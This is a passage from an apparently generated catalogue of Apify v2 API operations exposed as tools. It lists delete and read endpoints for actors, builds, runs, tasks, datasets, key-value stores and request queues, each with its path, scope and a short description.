DELETE /v2/actors/{actorId}/runs/last/request-queue/requests/{requestId} DELETE /api/v1/apify/v2/actors/{actorId}/runs/last/request-queue/requests/{requestId}. Scopes: write. apify_delete_v2_actors_by_actorid_runs_last_request_queue_requests_by_requestid_lock (write, destructive) — Deletes a request lock in the default request queue of the last Actor run. This endpoint is a shortcut for getting the last run's `defaultRequestQueueId` and then using the [Delete request lock](/api/v2/request-queue-request-lock-delete) endpoint. via DELETE /v2/actors/{actorId}/runs/last/request-queue/requests/{requestId}/lock DELETE /api/v1/apify/v2/actors/{actorId}/runs/last/request-queue/requests/{requestId}/lock. Scopes: write. apify_delete_v2_actors_by_actorid_versions_by_versionnumber (write, destructive) — Deletes a specific version of Actor's source code. via DELETE /v2/actors/{actorId}/versions/{versionNumber} DELETE /api/v1/apify/v2/actors/{actorId}/versions/{versionNumber}. Scopes: write. apify_delete_v2_actors_by_actorid_versions_by_versionnumber_env_vars_by_envvarname (write, destructive) — Deletes a specific environment variable. via DELETE /v2/actors/{actorId}/versions/{versionNumber}/env-vars/{envVarName} DELETE /api/v1/apify/v2/actors/{actorId}/versions/{versionNumber}/env-vars/{envVarName}. Scopes: write. apify_delete_v2_browser_info (write, destructive) — Returns information about the HTTP request, including the client IP address, country code, request headers, and body length. This endpoint is designed for proxy testing. It accepts any HTTP method so you can verify that your proxy correctly forwards requests of any type and that client IP addresses are anonymized. via DELETE /v2/browser-info DELETE /api/v1/apify/v2/browser-info. Scopes: write. apify_delete_v2_datasets_by_datasetid (write, destructive) — Deletes a specific dataset. via DELETE /v2/datasets/{datasetId} DELETE /api/v1/apify/v2/datasets/{datasetId}. Scopes: write. apify_delete_v2_key_value_stores_by_storeid (write, destructive) — Deletes a key-value store. via DELETE /v2/key-value-stores/{storeId} DELETE /api/v1/apify/v2/key-value-stores/{storeId}. Scopes: write. apify_delete_v2_key_value_stores_by_storeid_records_by_recordkey (write, destructive) — Removes a record specified by a key from the key-value store. via DELETE /v2/key-value-stores/{storeId}/records/{recordKey} DELETE /api/v1/apify/v2/key-value-stores/{storeId}/records/{recordKey}. Scopes: write. apify_delete_v2_request_queues_by_queueid (write, destructive) — Deletes given queue. via DELETE /v2/request-queues/{queueId} DELETE /api/v1/apify/v2/request-queues/{queueId}. Scopes: write. apify_delete_v2_request_queues_by_queueid_requests_batch (write, destructive) — Batch-deletes given requests from the queue. The number of requests in a batch is limited to 25. The response contains an array of unprocessed and processed requests. If any delete operation fails because the request queue rate limit is exceeded or an internal failure occurs, the failed request is returned in the `unprocessedRequests` response parameter. You can re-send these delete requests. It is recommended to use an exponential backoff algorithm for these retries. Each request is identified by its ID or uniqueKey parameter. You can use either of them to identify the request. via DELETE /v2/request-queues/{queueId}/requests/batch DELETE /api/v1/apify/v2/request-queues/{queueId}/requests/batch. Scopes: write. apify_delete_v2_request_queues_by_queueid_requests_by_requestid (write, destructive) — Deletes given request from queue. via DELETE /v2/request-queues/{queueId}/requests/{requestId} DELETE /api/v1/apify/v2/request-queues/{queueId}/requests/{requestId}. Scopes: write. apify_delete_v2_request_queues_by_queueid_requests_by_requestid_lock (write, destructive) — Deletes a request lock. The request lock can be deleted only by the client that has locked it using [Get and lock head operation](#/request-queue-head-lock-post). The clientKey identifier is used for locking and unlocking requests. You can delete or prolong the lock only for requests that were locked by the same client key or from the same Actor run. via DELETE /v2/request-queues/{queueId}/requests/{requestId}/lock DELETE /api/v1/apify/v2/request-queues/{queueId}/requests/{requestId}/lock. Scopes: write. apify_delete_v2_schedules_by_scheduleid (write, destructive) — Deletes a schedule. via DELETE /v2/schedules/{scheduleId} DELETE /api/v1/apify/v2/schedules/{scheduleId}. Scopes: write. apify_delete_v2_webhooks_by_webhookid (write, destructive) — Deletes a webhook. via DELETE /v2/webhooks/{webhookId} DELETE /api/v1/apify/v2/webhooks/{webhookId}. Scopes: write. apify_get_v2_actor_builds (read) — Gets a list of all builds for a user. The response is a JSON array of objects, where each object contains basic information about a single build. The endpoint supports pagination using the `limit` and `offset` parameters and it will not return more than 1000 records. By default, the records are sorted by the `startedAt` field in ascending order. Therefore, you can use pagination to incrementally fetch all builds while new ones are still being started. To sort the records in descending order, use the `desc=1` parameter. via GET /v2/actor-builds GET /api/v1/apify/v2/actor-builds. Scopes: read. apify_get_v2_actor_builds_by_buildid (read) — Gets an object that contains all the details about a specific build of an Actor. By passing the optional `waitForFinish` parameter the API endpoint will synchronously wait for the build to finish. This is useful to avoid periodic polling when waiting for an Actor build to finish. This endpoint does not require the authentication token. Instead, calls are authenticated using a hard-to-guess ID of the build. However, if you access the endpoint without the token, certain attributes, such as `usageUsd` and `usageTotalUsd`, will be hidden. via GET /v2/actor-builds/{buildId} GET /api/v1/apify/v2/actor-builds/{buildId}. Scopes: read. apify_get_v2_actor_builds_by_buildid_log (read) — Retrieves Actor build's logs. This endpoint is a shortcut for getting the build's log. Same as [Get log](/api/v2/log-get) endpoint. via GET /v2/actor-builds/{buildId}/log GET /api/v1/apify/v2/actor-builds/{buildId}/log. Scopes: read. apify_get_v2_actor_builds_by_buildid_openapi_json (read) — Get the OpenAPI definition for Actor builds. Two similar endpoints are available: - [First endpoint](/api/v2/actor-openapi-json-get): Requires both `actorId` and `buildId`. Use `default` as the `buildId` to get the OpenAPI schema for the default Actor build. - [Second endpoint](/api/v2/actor-build-openapi-json-get): Requires only `buildId`. Get the OpenAPI definition for a specific Actor build. Authentication is based on the build's unique ID. No authentication token is required. :::note You can also use the [`/api/v2/actor-openapi-json-get`](/api/v2/actor-openapi-json-get) endpoint to get the OpenAPI definition for a build. ::: via GET /v2/actor-builds/{buildId}/openapi.json GET /api/v1/apify/v2/actor-builds/{buildId}/openapi.json. Scopes: read. apify_get_v2_actor_runs (read) — Gets a list of all runs for a user. The response is a list of objects, where each object contains basic information about a single Actor run. The endpoint supports pagination using the `limit` and `offset` parameters and it will not return more than 1000 array elements. By default, the records are sorted by the `startedAt` field in ascending order. Therefore, you can use pagination to incrementally fetch all records while new ones are still being created. To sort the records in descending order, use `desc=1` parameter. You can also filter runs by `startedAt`` and `status`` fields ([available statuses](https://docs.apify.com/platform/actors/running/runs-and-builds#lifecycle)). via GET /v2/actor-runs GET /api/v1/apify/v2/actor-runs. Scopes: read. apify_get_v2_actor_runs_by_runid (read) — This is not a single endpoint, but an entire group of endpoints that lets you retrieve the run or any of its default storages. ##### Convenience endpoints for Actor run default storages * [Dataset](/api/v2/default-dataset) * [Key-value store](/api/v2/default-key-value-store) * [Request queue](/api/v2/default-request-queue) Gets an object that contains all the details about a specific run of an Actor. By passing the optional `waitForFinish` parameter the API endpoint will synchronously wait for the run to finish. This is useful to avoid periodic polling when waiting for Actor run to complete. Note that the first response after completion can still show preliminary `stats`, costs, and event counts. For stable figures, wait about 10 seconds and call the endpoint again. This endpoint does not require the authentication token. Instead, calls are authenticated using a hard-to-guess ID of the run. However, if you access the endpoint without the token, certain attributes, such as `usageUsd` and `usageTotalUsd`, will be hidden. via GET /v2/actor-runs/{runId} GET /api/v1/apify/v2/actor-runs/{runId}. Scopes: read. apify_get_v2_actor_runs_by_runid_dataset (read) — Returns the default dataset associated with an Actor run. This endpoint is a shortcut for getting the run's `defaultDatasetId` and then using the [Get dataset](/api/v2/dataset-get) endpoint. via GET /v2/actor-runs/{runId}/dataset GET /api/v1/apify/v2/actor-runs/{runId}/dataset. Scopes: read. apify_get_v2_actor_runs_by_runid_dataset_items (read) — Returns data stored in the default dataset of the Actor run in the desired format. This endpoint is a shortcut that resolves the run's `defaultDatasetId` and proxies to the [Get dataset items](/api/v2/dataset-items-get) endpoint. via GET /v2/actor-runs/{runId}/dataset/items GET /api/v1/apify/v2/actor-runs/{runId}/dataset/items. Scopes: read. apify_get_v2_actor_runs_by_runid_dataset_statistics (read) — Returns statistics for the Actor run's default dataset. This endpoint is a shortcut that resolves the run's `defaultDatasetId` and proxies to the [Get dataset statistics](/api/v2/dataset-statistics-get) endpoint. via GET /v2/actor-runs/{runId}/dataset/statistics GET /api/v1/apify/v2/actor-runs/{runId}/dataset/statistics. Scopes: read. apify_get_v2_actor_runs_by_runid_key_value_store (read) — Gets an object that contains all the details about the default key-value store. This endpoint is a shortcut for getting the run's `defaultKeyValueStoreId` and then using the [Get store](/api/v2/key-value-store-get) endpoint. via GET /v2/actor-runs/{runId}/key-value-store GET /api/v1/apify/v2/actor-runs/{runId}/key-value-store. Scopes: read. apify_get_v2_actor_runs_by_runid_key_value_store_keys (read) — Returns a list of keys for the default key-value store of the Actor run. This endpoint is a shortcut for getting the run's `defaultKeyValueStoreId` and then using the [Get list of keys](/api/v2/key-value-store-keys-get) endpoint. via GET /v2/actor-runs/{runId}/key-value-store/keys GET /api/v1/apify/v2/actor-runs/{runId}/key-value-store/keys. Scopes: read. apify_get_v2_actor_runs_by_runid_key_value_store_records_by_recordkey (read) — Gets a value stored under a specific key in the default key-value store of the Actor run. This endpoint is a shortcut for getting the run's `defaultKeyValueStoreId` and then using the [Get record](/api/v2/key-value-store-record-get) endpoint. via GET /v2/actor-runs/{runId}/key-value-store/records/{recordKey} GET /api/v1/apify/v2/actor-runs/{runId}/key-value-store/records/{recordKey}. Scopes: read. apify_get_v2_actor_runs_by_runid_log (read) — Retrieves Actor run's logs. This endpoint is a shortcut for getting the run's log. Same as [Get log](/api/v2/log-get) endpoint. via GET /v2/actor-runs/{runId}/log GET /api/v1/apify/v2/actor-runs/{runId}/log. Scopes: read. apify_get_v2_actor_runs_by_runid_request_queue (read) — Returns the default request queue associated with an Actor run. This endpoint is a shortcut for getting the run's `defaultRequestQueueId` and then using the [Get request queue](/api/v2/request-queue-get) endpoint. via GET /v2/actor-runs/{runId}/request-queue GET /api/v1/apify/v2/actor-runs/{runId}/request-queue. Scopes: read. apify_get_v2_actor_runs_by_runid_request_queue_head (read) — Returns the given number of first requests from the default request queue of the Actor run. This endpoint is a shortcut for getting the run's `defaultRequestQueueId` and then using the [Get head](/api/v2/request-queue-head-get) endpoint. via GET /v2/actor-runs/{runId}/request-queue/head GET /api/v1/apify/v2/actor-runs/{runId}/request-queue/head. Scopes: read. apify_get_v2_actor_runs_by_runid_request_queue_requests (read) — Returns a list of requests from the default request queue of the Actor run. This endpoint is a shortcut for getting the run's `defaultRequestQueueId` and then using the [List requests](/api/v2/request-queue-requests-get) endpoint. via GET /v2/actor-runs/{runId}/request-queue/requests GET /api/v1/apify/v2/actor-runs/{runId}/request-queue/requests. Scopes: read. apify_get_v2_actor_runs_by_runid_request_queue_requests_by_requestid (read) — Returns a request from the default request queue of the Actor run. This endpoint is a shortcut for getting the run's `defaultRequestQueueId` and then using the [Get request](/api/v2/request-queue-request-get) endpoint. via GET /v2/actor-runs/{runId}/request-queue/requests/{requestId} GET /api/v1/apify/v2/actor-runs/{runId}/request-queue/requests/{requestId}. Scopes: read. apify_get_v2_actor_tasks (read) — Gets the complete list of tasks that a user has created or used. The response is a list of objects in which each object contains essential information about a single task. The endpoint supports pagination using the `limit` and `offset` parameters, and it does not return more than a 1000 records. By default, the records are sorted by the `createdAt` field in ascending order; therefore you can use pagination to incrementally fetch all tasks while new ones are still being created. To sort the records in descending order, use the `desc=1` parameter. via GET /v2/actor-tasks GET /api/v1/apify/v2/actor-tasks. Scopes: read. apify_get_v2_actor_tasks_by_actortaskid (read) — Get an object that contains all the details about a task. via GET /v2/actor-tasks/{actorTaskId} GET /api/v1/apify/v2/actor-tasks/{actorTaskId}. Scopes: read. apify_get_v2_actor_tasks_by_actortaskid_input (read) — Returns the input of a given task. via GET /v2/actor-tasks/{actorTaskId}/input GET /api/v1/apify/v2/actor-tasks/{actorTaskId}/input. Scopes: read. apify_get_v2_actor_tasks_by_actortaskid_run_sync (read) — Runs an Actor task and synchronously returns a key-value store record. The response contains the record stored under the `OUTPUT` key in the run's default key-value store. This is a legacy approach that has been replaced by the Actor [output object](https://docs.apify.com/platform/actors/development/actor-definition/output-schema#output-object-definition); Actors aren't required to store a record under this key, so the response may not contain any data. Use the `outputRecordKey` query parameter to return a different record. The run must finish in 300 seconds otherwise the HTTP request fails with a timeout error (this won't abort the run itself). Beware that it might be impossible to maintain an idle HTTP connection for an extended period, due to client timeout or network conditions. Make sure your HTTP client is configured to have a long enough connection timeout. If the connection breaks, you will not receive any information about the run and its status. To run the Task asynchronously, use the [Run task asynchronously](#/reference/actor-tasks/run-collection/run-task) endpoint instead. via GET /v2/actor-tasks/{actorTaskId}/run-sync GET /api/v1/apify/v2/actor-tasks/{actorTaskId}/run-sync. Scopes: read. apify_get_v2_actor_tasks_by_actortaskid_run_sync_get_dataset_items (read) — Run a specific task and return its dataset items. The run must finish in 300 seconds otherwise the HTTP request fails with a timeout error (this won't abort the run itself). You can send all the same options in parameters as the [Get Dataset Items](#/reference/datasets/item-collection/get-items) API endpoint. Beware that it might be impossible to maintain an idle HTTP connection for an extended period, due to client timeout or network conditions. Make sure your HTTP client is configured to have a long enough connection timeout. If the connection breaks, you will not receive any information about the run and its status. To run the Task asynchronously, use the [Run task asynchronously](#/reference/actor-tasks/run-collection/run-task) endpoint instead. via GET /v2/actor-tasks/{actorTaskId}/run-sync-get-dataset-items GET /api/v1/apify/v2/actor-tasks/{actorTaskId}/run-sync-get-dataset-items. Scopes: read. apify_get_v2_actor_tasks_by_actortaskid_runs (read) — Get a list of runs of a specific task. The response is a list of objects, where each object contains essential information about a single task run. The endpoint supports pagination using the `limit` and `offset` parameters, and it does not return more than a 1000 array elements. By default, the records are sorted by the `startedAt` field in ascending order; therefore you can use pagination to incrementally fetch all records while new ones are still being created. To sort the records in descending order, use the `desc=1` parameter. You can also filter runs by status ([available statuses](https://docs.apify.com/platform/actors/running/runs-and-builds#lifecycle)). via GET /v2/actor-tasks/{actorTaskId}/runs GET /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs. Scopes: read. apify_get_v2_actor_tasks_by_actortaskid_runs_last (read) — This is not a single endpoint, but an entire group of endpoints that lets you to retrieve and manage the last run of given actor task or any of its default storages. All the endpoints require an authentication token. The base path represents the last actor task run object is: `/v2/actor-tasks/{actorTaskId}/runs/last{?token,status,origin}` Using the `status` query parameter you can ensure to only get a run with a certain status (e.g. `status=SUCCEEDED`). Similarly, the `origin` query parameter filters runs by the means by which they were started (e.g. `origin=API`). The output of this endpoint and other query parameters are the same as in the [Run object](/api/v2/actor-run-get) endpoint. ##### Convenience endpoints for last Actor task run * [Dataset](/api/v2/last-actor-task-runs-default-dataset) * [Key-value store](/api/v2/last-actor-task-runs-default-key-value-store) * [Request queue](/api/v2/last-actor-task-runs-default-request-queue) * [Log](/api/v2/last-actor-task-runs-log) via GET /v2/actor-tasks/{actorTaskId}/runs/last GET /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last. Scopes: read. apify_get_v2_actor_tasks_by_actortaskid_runs_last_dataset (read) — Returns the default dataset associated with the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultDatasetId` and then using the [Get dataset](/api/v2/dataset-get) endpoint. via GET /v2/actor-tasks/{actorTaskId}/runs/last/dataset GET /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/dataset. Scopes: read. apify_get_v2_actor_tasks_by_actortaskid_runs_last_dataset_items (read) — Returns data stored in the default dataset of the last Actor task run in the desired format. This endpoint is a shortcut that resolves the last task run's `defaultDatasetId` and proxies to the [Get dataset items](/api/v2/dataset-items-get) endpoint. via GET /v2/actor-tasks/{actorTaskId}/runs/last/dataset/items GET /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/dataset/items. Scopes: read. apify_get_v2_actor_tasks_by_actortaskid_runs_last_dataset_statistics (read) — Returns statistics for the last Actor task run's default dataset. This endpoint is a shortcut that resolves the last task run's `defaultDatasetId` and proxies to the [Get dataset statistics](/api/v2/dataset-statistics-get) endpoint. via GET /v2/actor-tasks/{actorTaskId}/runs/last/dataset/statistics GET /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/dataset/statistics. Scopes: read. apify_get_v2_actor_tasks_by_actortaskid_runs_last_key_value_store (read) — Gets an object that contains all the details about the default key-value store of the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultKeyValueStoreId` and then using the [Get store](/api/v2/key-value-store-get) endpoint. via GET /v2/actor-tasks/{actorTaskId}/runs/last/key-value-store GET /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/key-value-store. Scopes: read. apify_get_v2_actor_tasks_by_actortaskid_runs_last_key_value_store_keys (read) — Returns a list of keys for the default key-value store of the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultKeyValueStoreId` and then using the [Get list of keys](/api/v2/key-value-store-keys-get) endpoint. via GET /v2/actor-tasks/{actorTaskId}/runs/last/key-value-store/keys GET /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/key-value-store/keys. Scopes: read. apify_get_v2_actor_tasks_by_actortaskid_runs_last_key_value_store_records_by_recordkey (read) — Gets a value stored under a specific key in the default key-value store of the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultKeyValueStoreId` and then using the [Get record](/api/v2/key-value-store-record-get) endpoint. via GET /v2/actor-tasks/{actorTaskId}/runs/last/key-value-store/records/{recordKey} GET /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/key-value-store/records/{recordKey}. Scopes: read. apify_get_v2_actor_tasks_by_actortaskid_runs_last_log (read) — Retrieves last Actor task run's logs. This endpoint is a shortcut for getting last Actor task run's log. Same as [Get log](/api/v2/log-get) endpoint. via GET /v2/actor-tasks/{actorTaskId}/runs/last/log GET /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/log. Scopes: read. apify_get_v2_actor_tasks_by_actortaskid_runs_last_request_queue (read) — Returns the default request queue associated with the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultRequestQueueId` and then using the [Get request queue](/api/v2/request-queue-get) endpoint. via GET /v2/actor-tasks/{actorTaskId}/runs/last/request-queue GET /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/request-queue. Scopes: read. apify_get_v2_actor_tasks_by_actortaskid_runs_last_request_queue_head (read) — Returns the given number of first requests from the default request queue of the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultRequestQueueId` and then using the [Get head](/api/v2/request-queue-head-get) endpoint. via GET /v2/actor-tasks/{actorTaskId}/runs/last/request-queue/head GET /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/request-queue/head. Scopes: read. apify_get_v2_actor_tasks_by_actortaskid_runs_last_request_queue_requests (read) — Returns a list of requests from the default request queue of the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultRequestQueueId` and then using the [List requests](/api/v2/request-queue-requests-get) endpoint. via GET /v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests GET /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests. Scopes: read. apify_get_v2_actor_tasks_by_actortaskid_runs_last_request_queue_requests_by_requestid (read) — Returns a request from the default request queue of the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultRequestQueueId` and then using the [Get request](/api/v2/request-queue-request-get) endpoint. via GET /v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests/{requestId} GET /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests/{requestId}. Scopes: read. apify_get_v2_actor_tasks_by_actortaskid_webhooks (read) — Gets the list of webhooks of a specific Actor task. The response is a JSON with the list of objects, where each object contains basic information about a single webhook. The endpoint supports pagination using the `limit` and `offset` parameters and it will not return more than 1000 records. By default, the records are sorted by the `createdAt` field in ascending order, to sort the records in descending order, use the `desc=1` parameter. via GET /v2/actor-tasks/{actorTaskId}/webhooks GET /api/v1/apify/v2/actor-tasks/{actorTaskId}/webhooks. Scopes: read. apify_get_v2_actors (read) — Gets the list of all Actors that the user created or used. The response is a list of objects, where each object contains a basic information about a single Actor. To only get Actors created by the user, add the `my=1` query parameter. The endpoint supports pagination using the `limit` and `offset` parameters and it will not return more than 1000 records. By default, the records are sorted by the `createdAt` field in ascending order, therefore you can use pagination to incrementally fetch all Actors while new ones are still being created. To sort the records in descending order, use the `desc=1` parameter. You can also sort by your last run by using the `sortBy=stats.lastRunStartedAt` query parameter. In this case, descending order means the most recently run Actor appears first. via GET /v2/actors GET /api/v1/apify/v2/actors. Scopes: read. apify_get_v2_actors_by_actorid (read) — Gets an object that contains all the details about the Actor with the specified ID. via GET /v2/actors/{actorId} GET /api/v1/apify/v2/actors/{actorId}. Scopes: read. apify_get_v2_actors_by_actorid_builds (read) — Gets the list of builds of a specific Actor. The response is a JSON with the list of objects, where each object contains basic information about a single build. The endpoint supports pagination using the `limit` and `offset` parameters and it will not return more than 1000 records. By default, the records are sorted by the `startedAt` field in ascending order, therefore you can use pagination to incrementally fetch all builds while new ones are still being started. To sort the records in descending order, use the `desc=1` parameter. via GET /v2/actors/{actorId}/builds GET /api/v1/apify/v2/actors/{actorId}/builds. Scopes: read. apify_get_v2_actors_by_actorid_builds_by_buildid (read) — By passing the optional `waitForFinish` parameter the API endpoint will synchronously wait for the build to finish. This is useful to avoid periodic polling when waiting for an Actor build to finish. This endpoint does not require the authentication token. Instead, calls are authenticated using a hard-to-guess ID of the build. However, if you access the endpoint without the token, certain attributes, such as `usageUsd` and `usageTotalUsd`, will be hidden. Apify marks this operation deprecated. via GET /v2/actors/{actorId}/builds/{buildId} GET /api/v1/apify/v2/actors/{actorId}/builds/{buildId}. Scopes: read. apify_get_v2_actors_by_actorid_builds_by_buildid_openapi_json (read) — Get the OpenAPI definition for Actor builds. Two similar endpoints are available: - [First endpoint](/api/v2/actor-openapi-json-get): Requires both `actorId` and `buildId`. Use `default` as the `buildId` to get the OpenAPI schema for the default Actor build. - [Second endpoint](/api/v2/actor-build-openapi-json-get): Requires only `buildId`. Get the OpenAPI definition for a specific Actor build. To fetch the default Actor build, simply pass `default` as the `buildId`. Authentication is based on the build's unique ID. No authentication token is required. :::note You can also use the [`/api/v2/actor-build-openapi-json-get`](/api/v2/actor-build-openapi-json-get) endpoint to get the OpenAPI definition for a build. ::: via GET /v2/actors/{actorId}/builds/{buildId}/openapi.json GET /api/v1/apify/v2/actors/{actorId}/builds/{buildId}/openapi.json. Scopes: read. apify_get_v2_actors_by_actorid_builds_default (read) — Get the default build for an Actor. Use the optional `waitForFinish` parameter to synchronously wait for the build to finish. This avoids the need for periodic polling when waiting for the build to complete. This endpoint does not require an authentication token. Instead, calls are authenticated using the Actor's unique ID. However, if you access the endpoint without a token, certain attributes (e.g., `usageUsd` and `usageTotalUsd`) will be hidden. via GET /v2/actors/{actorId}/builds/default GET /api/v1/apify/v2/actors/{actorId}/builds/default. Scopes: read. apify_get_v2_actors_by_actorid_run_sync (read) — Runs a specific Actor and returns a key-value store record. The response contains the record stored under the `OUTPUT` key in the run's default key-value store. This is a legacy approach that has been replaced by the Actor [output object](https://docs.apify.com/platform/actors/development/actor-definition/output-schema#output-object-definition); the record may not exist, in which case the response contains no data. Use the `outputRecordKey` query parameter to return a different record. The run must finish in 300 seconds otherwise the API endpoint returns a timeout error. The Actor is not passed any input. Beware that it might be impossible to maintain an idle HTTP connection for a long period of time, due to client timeout or network conditions. Make sure your HTTP client is configured to have a long enough connection timeout. If the connection breaks, you will not receive any information about the run and its status. To run the Actor asynchronously, use the [Run Actor](#/reference/actors/run-collection/run-actor) API endpoint instead. via GET /v2/actors/{actorId}/run-sync GET /api/v1/apify/v2/actors/{actorId}/run-sync. Scopes: read. apify_get_v2_actors_by_actorid_run_sync_get_dataset_items (read) — Runs a specific Actor and returns its dataset items. The run must finish in 300 seconds otherwise the API endpoint returns a timeout error. The Actor is not passed any input. It allows to send all possible options in parameters from [Get Dataset Items](#/reference/datasets/item-collection/get-items) API endpoint. Beware that it might be impossible to maintain an idle HTTP connection for a long period of time, due to client timeout or network conditions. Make sure your HTTP client is configured to have a long enough connection timeout. If the connection breaks, you will not receive any information about the run and its status. To run the Actor asynchronously, use the [Run Actor](#/reference/actors/run-collection/run-actor) API endpoint instead. via GET /v2/actors/{actorId}/run-sync-get-dataset-items GET /api/v1/apify/v2/actors/{actorId}/run-sync-get-dataset-items. Scopes: read. apify_get_v2_actors_by_actorid_runs (read) — Gets the list of runs of a specific Actor. The response is a list of objects, where each object contains basic information about a single Actor run. The endpoint supports pagination using the `limit` and `offset` parameters and it will not return more than 1000 array elements. By default, the records are sorted by the `startedAt` field in ascending order, therefore you can use pagination to incrementally fetch all records while new ones are still being created. To sort the records in descending order, use `desc=1` parameter. You can also filter runs by status ([available statuses](https://docs.apify.com/platform/actors/running/runs-and-builds#lifecycle)). via GET /v2/actors/{actorId}/runs GET /api/v1/apify/v2/actors/{actorId}/runs. Scopes: read. apify_get_v2_actors_by_actorid_runs_by_runid (read) — **[DEPRECATED]** API endpoints related to run of the Actor were moved under new namespace [`actor-runs`](#/reference/actor-runs). Gets an object that contains all the details about a specific run of an Actor. By passing the optional `waitForFinish` parameter the API endpoint will synchronously wait for the run to finish. This is useful to avoid periodic polling when waiting for Actor run to complete. This endpoint does not require the authentication token. Instead, calls are authenticated using a hard-to-guess ID of the run. However, if you access the endpoint without the token, certain attributes, such as `usageUsd` and `usageTotalUsd`, will be hidden. Apify marks this operation deprecated. via GET /v2/actors/{actorId}/runs/{runId} GET /api/v1/apify/v2/actors/{actorId}/runs/{runId}. Scopes: read. apify_get_v2_actors_by_actorid_runs_last (read) — This is not a single endpoint, but an entire group of endpoints that lets you to retrieve and manage the last run of given Actor or any of its default storages. All the endpoints require an authentication token. The base path represents the last Actor run object is: `/v2/actors/{actorId}/runs/last{?token,status,origin}` Using the `status` query parameter you can ensure to only get a run with a certain status (e.g. `status=SUCCEEDED`). Similarly, the `origin` query parameter filters runs by the means by which they were started (e.g. `origin=API`). The output of this endpoint and other query parameters are the same as in the [Run object](#/reference/actors/run-object) endpoint. ##### Convenience endpoints for last Actor run * [Dataset](/api/v2/last-actor-runs-default-dataset) * [Key-value store](/api/v2/last-actor-runs-default-key-value-store) * [Request queue](/api/v2/last-actor-runs-default-request-queue) * [Log](/api/v2/last-actor-runs-log) via GET /v2/actors/{actorId}/runs/last GET /api/v1/apify/v2/actors/{actorId}/runs/last. Scopes: read. apify_get_v2_actors_by_actorid_runs_last_dataset (read) — Returns the default dataset associated with the last Actor run. This endpoint is a shortcut for getting the last run's `defaultDatasetId` and then using the [Get dataset](/api/v2/dataset-get) endpoint. via GET /v2/actors/{actorId}/runs/last/dataset GET /api/v1/apify/v2/actors/{actorId}/runs/last/dataset. Scopes: read. apify_get_v2_actors_by_actorid_runs_last_dataset_items (read) — Returns data stored in the default dataset of the last Actor run in the desired format. This endpoint is a shortcut that resolves the last run's `defaultDatasetId` and proxies to the [Get dataset items](/api/v2/dataset-items-get) endpoint. via GET /v2/actors/{actorId}/runs/last/dataset/items GET /api/v1/apify/v2/actors/{actorId}/runs/last/dataset/items. Scopes: read. apify_get_v2_actors_by_actorid_runs_last_dataset_statistics (read) — Returns statistics for the last Actor run's default dataset. This endpoint is a shortcut that resolves the last run's `defaultDatasetId` and proxies to the [Get dataset statistics](/api/v2/dataset-statistics-get) endpoint. via GET /v2/actors/{actorId}/runs/last/dataset/statistics GET /api/v1/apify/v2/actors/{actorId}/runs/last/dataset/statistics. Scopes: read. apify_get_v2_actors_by_actorid_runs_last_key_value_store (read) — Gets an object that contains all the details about the default key-value store associated with the last Actor run. This endpoint is a shortcut for getting the run's `defaultKeyValueStoreId` and then using the [Get store](/api/v2/key-value-store-get) endpoint. via GET /v2/actors/{actorId}/runs/last/key-value-store GET /api/v1/apify/v2/actors/{actorId}/runs/last/key-value-store. Scopes: read. apify_get_v2_actors_by_actorid_runs_last_key_value_store_keys (read) — Returns a list of keys for the default key-value store of the last Actor run. This endpoint is a shortcut for getting the last run's `defaultKeyValueStoreId` and then using the [Get list of keys](/api/v2/key-value-store-keys-get) endpoint. via GET /v2/actors/{actorId}/runs/last/key-value-store/keys GET /api/v1/apify/v2/actors/{actorId}/runs/last/key-value-store/keys. Scopes: read. apify_get_v2_actors_by_actorid_runs_last_key_value_store_records_by_recordkey (read) — Gets a value stored under a specific key in the default key-value store of the last Actor run. This endpoint is a shortcut for getting the last run's `defaultKeyValueStoreId` and then using the [Get record](/api/v2/key-value-store-record-get) endpoint. via GET /v2/actors/{actorId}/runs/last/key-value-store/records/{recordKey} GET /api/v1/apify/v2/actors/{actorId}/runs/last/key-value-store/records/{recordKey}. Scopes: read. apify_get_v2_actors_by_actorid_runs_last_log (read) — Retrieves last Actor run's logs. This endpoint is a shortcut for getting last Actor run's log. Same as [Get log](/api/v2/log-get) endpoint. via GET /v2/actors/{actorId}/runs/last/log GET /api/v1/apify/v2/actors/{actorId}/runs/last/log. Scopes: read. apify_get_v2_actors_by_actorid_runs_last_request_queue (read) — Returns the default request queue associated with the last Actor run. This endpoint is a shortcut for getting the last run's `defaultRequestQueueId` and then using the [Get request queue](/api/v2/request-queue-get) endpoint. via GET /v2/actors/{actorId}/runs/last/request-queue GET /api/v1/apify/v2/actors/{actorId}/runs/last/request-queue. Scopes: read. apify_get_v2_actors_by_actorid_runs_last_request_queue_head (read) — Returns the given number of first requests from the default request queue of the last Actor run. This endpoint is a shortcut for getting the last run's `defaultRequestQueueId` and then using the [Get head](/api/v2/request-queue-head-get) endpoint. via GET /v2/actors/{actorId}/runs/last/request-queue/head GET /api/v1/apify/v2/actors/{actorId}/runs/last/request-queue/head. Scopes: read. apify_get_v2_actors_by_actorid_runs_last_request_queue_requests (read) — Returns a list of requests from the default request queue of the last Actor run. This endpoint is a shortcut for getting the last run's `defaultRequestQueueId` and then using the [List requests](/api/v2/request-queue-requests-get) endpoint. via GET /v2/actors/{actorId}/runs/last/request-queue/requests GET /api/v1/apify/v2/actors/{actorId}/runs/last/request-queue/requests. Scopes: read. 